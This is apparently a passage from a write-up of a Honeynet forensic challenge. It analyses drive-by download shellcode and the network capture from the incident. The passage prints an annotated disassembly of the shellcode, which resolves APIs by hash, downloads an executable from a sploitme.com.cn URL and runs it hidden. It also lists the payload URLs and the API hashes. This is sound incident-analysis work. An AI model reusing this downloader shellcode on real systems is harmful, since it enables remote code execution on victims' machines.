0040A007 78 0C     JS      SHORT shell_ao.0040A015
0040A009 8B40 0C     MOV     EAX,DWORD PTR DS:[EAX+C]
0040A00C 8B70 1C     MOV     ESI,DWORD PTR DS:[EAX+1C]
0040A00F AD        LODS   DWORD PTR DS:[ESI]
0040A010 8B58 08     MOV     EBX,DWORD PTR DS:[EAX+8] ; kernel32.dll base addr in EBX
0040A013 EB 09     JMP     SHORT shell_ao.0040A01E
0040A015 8B40 34     MOV     EAX,DWORD PTR DS:[EAX+34]
0040A018 8D40 7C     LEA    EAX,DWORD PTR DS:[EAX+7C]
0040A01B 8B58 3C     MOV     EBX,DWORD PTR DS:[EAX+3C]
0040A01E 6A 44     PUSH   44
0040A020 5A        POP    EDX
0040A021 D1E2     SHL    EDX,1 ;EDX = 0x88
0040A023 2BE2     SUB    ESP,EDX ;prepare buffer for GetTempPathA
0040A025 8BEC     MOV    EBP,ESP
0040A027 EB 4F     JMP     SHORT shell_ao.0040A078
0040A029 5A        POP    EDX ;_FindNExec
0040A02A 52        PUSH   EDX
0040A02B 83EA 56     SUB    EDX,56
0040A02E 8955 04     MOV    DWORD PTR SS:[EBP+4],EDX
0040A031 56        PUSH   ESI
0040A032 57        PUSH   EDI
0040A033 8B73 3C     MOV    ESI,DWORD PTR DS:[EBX+3C] ; PE header offset
0040A036 8B7433 78   MOV    ESI,DWORD PTR DS:[EBX+ESI+78] ; Export Directory Entry
0040A03A 03F3     ADD    ESI,EBX
0040A03C 56        PUSH   ESI
0040A03D 8B76 20     MOV    ESI,DWORD PTR DS:[ESI+20]
0040A040 03F3     ADD    ESI,EBX
0040A042 33C9     XOR    ECX,ECX ;Function counter
0040A044 49        DEC    ECX
0040A045 > 50       PUSH   EAX ;Push the researched hash value
0040A046 41        INC    ECX
0040A047 AD        LODS   DWORD PTR DS:[ESI]
0040A048 33FF     XOR    EDI,EDI
0040A04A 36:0FBF1403 MOVSB  EDX,BYTE PTR SS:[EBX+EAX] ; get one byte from name
0040A04F 38F2     CMP    DL,DH ;End of function's name ? (==0)
0040A051 74 08     JE     SHORT shell_ao.0040A05B ; yes: go to hash cmp
0040A053 C1CF 0D     ROR    EDI,0D ; ROR + ADD hashing
0040A056 03FA     ADD    EDI,EDX
0040A058 40        INC    EAX ; inc name's char index
0040A059 ^ EB EF     JMP     SHORT shell_ao.0040A04A
0040A05B 58        POP    EAX ; pop hash from stack in EAX
0040A05C 3BF8     CMP    EDI,EAX ;Compares Hash values (calculated and hardcoded

```

```

0040A05E ^ 75 E5      JNZ      SHORT <shell_ao.hashloop> ; Do the hashes match ? No: take next
exported function name
0040A060      5E      POP      ESI ; Else we have found our function
0040A061      8B46 24  MOV      EAX,DWORD PTR DS:[ESI+24] ; Now searching function address
0040A064      03C3      ADD      EAX,EBX
0040A066      66:8B0C48 MOV      CX,WORD PTR DS:[EAX+ECX*2]
0040A06A      8B56 1C  MOV      EDX,DWORD PTR DS:[ESI+1C]
0040A06D      03D3      ADD      EDX,EBX
0040A06F      8B048A  MOV      EAX,DWORD PTR DS:[EDX+ECX*4]
0040A072      03C3      ADD      EAX,EBX ; EAX = Library Base Addr + VA of the function == Function's
addr
0040A074      5F      POP      EDI ;restores regs.
0040A075      5E      POP      ESI
0040A076      50      PUSH     EAX ; push addr of the funct. to call, args are on the stack
0040A077      C3      RETN     ; RETN used as a call
0040A078      8D7D 08  LEA      EDI,DWORD PTR SS:[EBP+8]
0040A07B      57      PUSH     EDI ; Buffer
0040A07C      52      PUSH     EDX ; Buffer size = 0x88 (126 Bytes)
0040A07D      B8 33CA8A5B MOV      EAX,5B8ACA33 ; hash for GetTempPathA
0040A082      E8 A2FFFFFF CALL     shell_ao.0040A029 ; Find and call GetTempPathA
0040A087      32C0      XOR      AL,AL
0040A089      8BF7      MOV      ESI,EDI ; EDI contains the Temp Path => ESI
0040A08B      F2:AE     REPNE   SCAS BYTE PTR ES:[EDI] ; searching the end of the path
string
0040A08D      4F      DEC      EDI
0040A08E      B8 652E6578 MOV      EAX,78652E65 ;'xe.e'
0040A093      AB      STOS    DWORD PTR ES:[EDI] ;
0040A094      66:98     CBW     ;
0040A096      66:AB     STOS    WORD PTR ES:[EDI] ; appends 'e.exe' to temp path.
0040A098      B0 6C     MOV      AL,6C ;6C = 'l'
0040A09A      8AE0     MOV      AH,AL ; = 'll'
0040A09C      98      CWDE
0040A09D      50      PUSH     EAX ; 'll'
0040A09E      68 6F6E2E64 PUSH     642E6E6F ; 'd.no'
0040A0A3      68 75726C6D PUSH     6D6C7275 ; 'mlru'
0040A0A8      54      PUSH     ESP ; push string: urlmon.dll
0040A0A9      B8 8E4E0EEC MOV      EAX,EC0E4E8E ; hash for LoadLibraryA
0040A0AE      FF55 04  CALL     DWORD PTR SS:[EBP+4] ; Find and call LoadLibraryA
0040A0B1      93      XCHG    EAX,EBX ; urlmon.dll base address now in EBX , kernel32.dll
base in EAX
0040A0B2      50      PUSH     EAX
0040A0B3      33C0     XOR      EAX,EAX
0040A0B5      50      PUSH     EAX
0040A0B6      50      PUSH     EAX
0040A0B7      56      PUSH     ESI ; push path to binary (%TMP%\e.exe)
0040A0B8      8B55 04  MOV      EDX,DWORD PTR SS:[EBP+4]
0040A0BB      83C2 7F  ADD      EDX,7F
0040A0BE      83C2 31  ADD      EDX,31
0040A0C1      52      PUSH     EDX ; push the url :http://sploitme.com.cn/fg/load.php?e=3
0040A0C2      50      PUSH     EAX
0040A0C3      B8 361A2F70 MOV      EAX,702F1A36 ; hash for URLDownloadToFileA
0040A0C8      FF55 04  CALL     DWORD PTR SS:[EBP+4] ; Find and call URLDownloadToFileA
0040A0CB      5B      POP      EBX ; kernel32.7C800000
0040A0CC      33FF     XOR      EDI,EDI
0040A0CE      57      PUSH     EDI ; uCmdShow = SW_HIDE (0)
0040A0CF      56      PUSH     ESI ; lpCmdLine = Path to binary.
0040A0D0      B8 98FE8A0E MOV      EAX,0E8AFE98 ; hash for WinExec
0040A0D5      FF55 04  CALL     DWORD PTR SS:[EBP+4] ; Find and call WinExec
0040A0D8      57      PUSH     EDI
0040A0D9      B8 EFCEE060 MOV      EAX,60E0CEE0 ; hash for ExitThread()
0040A0DE      FF55 04  CALL     DWORD PTR SS:[EBP+4] ; Find and call ExitThread
0040A0E0      68 74 74 70 3A 2F 2F 73 70 6C 6F 69 74 6D 65 http://sploitme
0040A0F0      2E 63 6F 6D 2E 63 6E 2F 66 67 2F 6C 6F 61 64 2E .com.cn/fg/load.
0040A100      70 68 70 3F 65 3D 33 00 php?e=3.

```

As usual, the shellcode starts with the research of kernel32.dll base address in the PEB and stores it in EBX (0040A010).

An hashing algorithm was used to hardcode the names of the functions needed to make the job done. This algorithm uses ROR and ADD on each letter of the function's name and finally produce a 4 bytes hash. These hash are then used to search the function's addresses in the Export Directory Entry of the libraries (kernel32.dll and urlmon.dll).

Here are the hash of the functions used by the shellcode:

- 5B8ACA33 : Hash for GetTempPathA
- EC0E4E8E : Hash for LoadLibraryA
- 702F1A36 : Hash for URLDownloadToFileA
- 0E8AFE98 : Hash for WinExec
- 60E0CEEF : Hash for ExitThread

This shellcode uses a special procedure to resolve and then executes imported functions. This proc starts at 0040A031 and first tries to find the needed function in the export directory of the loaded library. For each exported function name, it calculates an hash value. This hash value is then compared to an hardcoded value that has been pushed on the stack before calling the proc. When the researched function is found, the same proc uses push/retn as a call. I mean, the proc pushes the function's address onto the stack and then uses ret to call this function. This procedure is used for all the calls to external functions.

Then, the shellcode follows this scheme:

- At 0040A082 calls GetTempPathA to retrieve a path to temporary files. Then, it appends "e.exe" to the retrieved path (look at 0040A087 to 0040A096) . Making a string like : %TMP%\e.exe .This path will be the path used to store the downloaded binary file.
- At 0040A098 to 0040A0A3 some bytes manipulations and pushes are done to construct the string: urlmon.dll
- This string is pushed onto the stack at 0040A0A8, then the hash value of LoadLibraryA is pushed also and a call to the proc at 0040A031 is done to find its address and to call it. The call is done and urlmon.dll is loaded.
- At 0040A0C1 ,the url "<http://sploitme.com.cn/fg/load.php?e=3>" is pushed onto the stack.
- URLDownloadToFileA is called at 0040A0C8 to retrieve a file located at the previously pushed URL. This file will be stored under the name "e.exe" in the temp directory retrieved by the call to GetTempPathA.
- WinExec is called at 0040A0D5 to execute the binary retrieved previously. The WinExec is instructed to execute it in Hide mode (= no display)
- Finally ExitThread is called at 0040A0DE and shellcode terminates.

As said before, the four shellcodes embedded in the different exploits are the same, except for the URL used as an argument for URLDownloadToFileA.

Here are the different values:

- aolwinamp() exploit uses : <http://sploitme.com.cn/fg/load.php?e=3>
- directshow() exploit uses : <http://sploitme.com.cn/fg/load.php?e=4>
- com() exploit uses : <http://sploitme.com.cn/fg/load.php?e=7>
- spreadsheet() exploit uses : <http://sploitme.com.cn/fg/load.php?e=8>

With these new elements in hands, and after having analysed the network behavior of 10.0.4.15, we can conclude that it was first exploited by the MDAC() exploit , so retrieved the binary from <http://sploitme.com.cn/fg/load.php?e=1>. And then it was exploited by the aolwinamp() exploit and has downloaded the binary located at <http://sploitme.com.cn/fg/load.php?e=3>.

The md5 hash of the binaries downloaded is : 52312bb96ce72f230f0350e78873f791

All the downloaded binaries were identical.

<p>Question 10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge)</p>	<p>Possible Points: 4pts</p>
<p>Tools Used:</p>	
<p>Answer 10.</p> <p>If we can define as being a malware an executable that is maliciously downloaded without the consent of a user (and I think so.). Then, yes, there was a malware involved. However, none of the Anti Virus tried has found any malware in the binaries downloaded by the victims.</p> <p>A basic analysis of the binary reveals that it is a kind of downloader or URLretriever using Internet Explorer to retrieve an hardcoded URL. The executable will launch IE on a particular URL that will be displayed on the screen. This URL is stored at the end of the binary (offset 0x2E0D) and is : http://www.honeynet.org</p> <pre style="background-color: #f0f0f0; padding: 5px;"> franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2/payloads\$ hexdump -Cs 0x2e0d e1.exe 00002e0d 68 74 74 70 3a 2f 2f 77 77 77 2e 68 6f 6e 65 79 http://www.honey 00002e1d 6e 65 74 2e 6f 72 67 00 00 00 00 00 00 00 00 net.org..... 00002e2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 </pre> <p>All the binaries downloaded were identical and pointed to the same URL. This kind of executable can be used to display Advertisements or to make a phishing attack for example.</p> <p>The behavior of the downloaded executable explains the network behavior of 10.0.3.15 and 10.0.4.15. After having downloaded and executed the binary, the two hosts have made an HTTP connection to http://www.honeynet.org. For 10.0.3.15 : at frame #219 For 10.0.4.15 : at frame #541 and #640.</p>	

Bonus

<p>UXVlc3Rpb24gQm9udXMgKGZvcjBmdW4pLiBBZGRpdGlvbmFsIDEgcG9pbnQgZm9yOiAKV2hh dCBjYW4geW91IHRlbGwgYWJvdXQgZGF0ZXMvdGltZT8gQW55dGhpbmcmgd3Jvbmc/IENhbiB5 b3UgcHJvcG9zZSBhIHBSYXVzaWJsZSBleHBsYW5hdGlvbj8KRKG8geW91IHRoaW5rIHRoYXQg dGhIIIG5ldHdvcmsgY2FwdHVyZSAocGNhcCkgd2FzIG1hZGUgb24gYSBsaXZlIGVudmlyb25t ZW50PyAK</p>
<p>Tools Used: capinfos, tshark, httpdumper, base64</p>
<p>Answer</p> <p>Decoded Question:</p> <pre style="background-color: #f0f0f0; padding: 5px;"> Question Bonus (for fun). Additional 1 point for: What can you tell about dates/time? Anything wrong? Can you propose a plausible explanation? Do you think that the network capture (pcap) was made on a live environment? </pre> <p>According to the pcap file informations, it seems that these attacks have been done on January 1st 2010.</p> <pre style="background-color: #f0f0f0; padding: 5px;"> capinfos suspicious-time.pcap File name: suspicious-time.pcap File type: Wireshark/tcpdump/... - libpcap File encapsulation: Ethernet Number of packets: 745 File size: 305902 bytes Data size: 293958 bytes Capture duration: 231 seconds Start time: Fri Jan 1 01:00:29 2010 End time: Fri Jan 1 01:04:20 2010 Data byte rate: 1274.94 bytes/sec Data bit rate: 10199.51 bits/sec Average packet size: 394.57 bytes Average packet rate: 3.23 packets/sec </pre>

But looking at the HTTP headers in the conversation between 10.0.2.15 and 192.168.56.50 gives some interesting infos: for this I've used a custom ruby script named: httpdumper.

```
httpdumper -r suspicious-time.pcap -c0 -f2 --with-headers
Reading file suspicious-time.pcap
Parsing packets...
745 packets read in 1.410 sec.

Listing flows for conversation 0 with full http headers
-----

Flow Index: 2 10.0.2.15:1063 -> 192.168.56.50:80  REQUEST /images/sslstyles.css Length: 0

-----
HTTP HEADER
-----

Host: rapidshare.com.eyu32.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://rapidshare.com.eyu32.ru/login.php
If-Modified-Since: Tue, 02 Feb 2010 17:38:05 GMT
If-None-Match: "5e472-fef-47ea19070f940"
```

This request used the “If-Modified-Since” request-header field with a date of: February 2nd 2010. This imply that 10.0.2.15 has already visited this page and have cached some entities.

According to RFC2616:

A GET method with an If-Modified-Since header and no Range header requests that the identified entity be transferred only if it has been modified since the date given by the If-Modified-Since header. The algorithm for determining this includes the following cases:

- a) If the request would normally result in anything other than a 200 (OK) status, or if the passed If-Modified-Since date is invalid, the response is exactly the same as for a normal GET. A date which is later than the server's current time is invalid.*
- b) If the variant has been modified since the If-Modified-Since date, the response is exactly the same as for a normal GET.*
- c) If the variant has not been modified since a valid If-Modified-Since date, the server SHOULD return a 304 (Not Modified) response.*

So, if this date was invalid the server would have returned a 200 (OK), but looking at the server response header gives new informations that enforced the fact that date announced in the pcap header informations have been altered:

```
-----
Flow Index: 2 10.0.2.15:1063 -> 192.168.56.50:80  REQUEST /images/sslstyles.css 0
```

```
-----  
HTTP HEADER  
-----  
Host: rapidshare.com.eyu32.ru  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3  
Accept: text/css,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://rapidshare.com.eyu32.ru/login.php  
If-Modified-Since: Tue, 02 Feb 2010 17:38:05 GMT  
If-None-Match: "5e472-fef-47ea19070f940"  
  
-----  
Flow Index: 3 192.168.56.50:80 -> 10.0.2.15:1063 RESPONSE HTTP/1.1 304 Not Modified  
0  
  
-----  
HTTP HEADER  
-----  
Date: Tue, 02 Feb 2010 19:05:12 GMT  
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch  
Connection: Keep-Alive  
Keep-Alive: timeout=15, max=99  
ETag: "5e472-fef-47ea19070f940"  
  
-----
```

The “Date” response-header field found in the server's response indicates February 2nd 2010 19:05:12 GMT and the “304 Not Modified” response code enforces the fact that this conversation has been done in February 2010 and not in January.

Plausible causes could be:

1. The capture host as an invalid date and time
2. The timestamps in the pcap file have been altered.

Based on all the analysis, I suspect that this capture has been made on a “Lab environment”. The malicious sites and the clients are surely virtual hosts running on a VirtualBox host. The binary retrieved and most important the URL used by it seem to indicate a fake situation. However, all this stuff could have happened live in the wild, I mean this kind of attack and also the attack process with a Web site dispatching victim to exploit servers.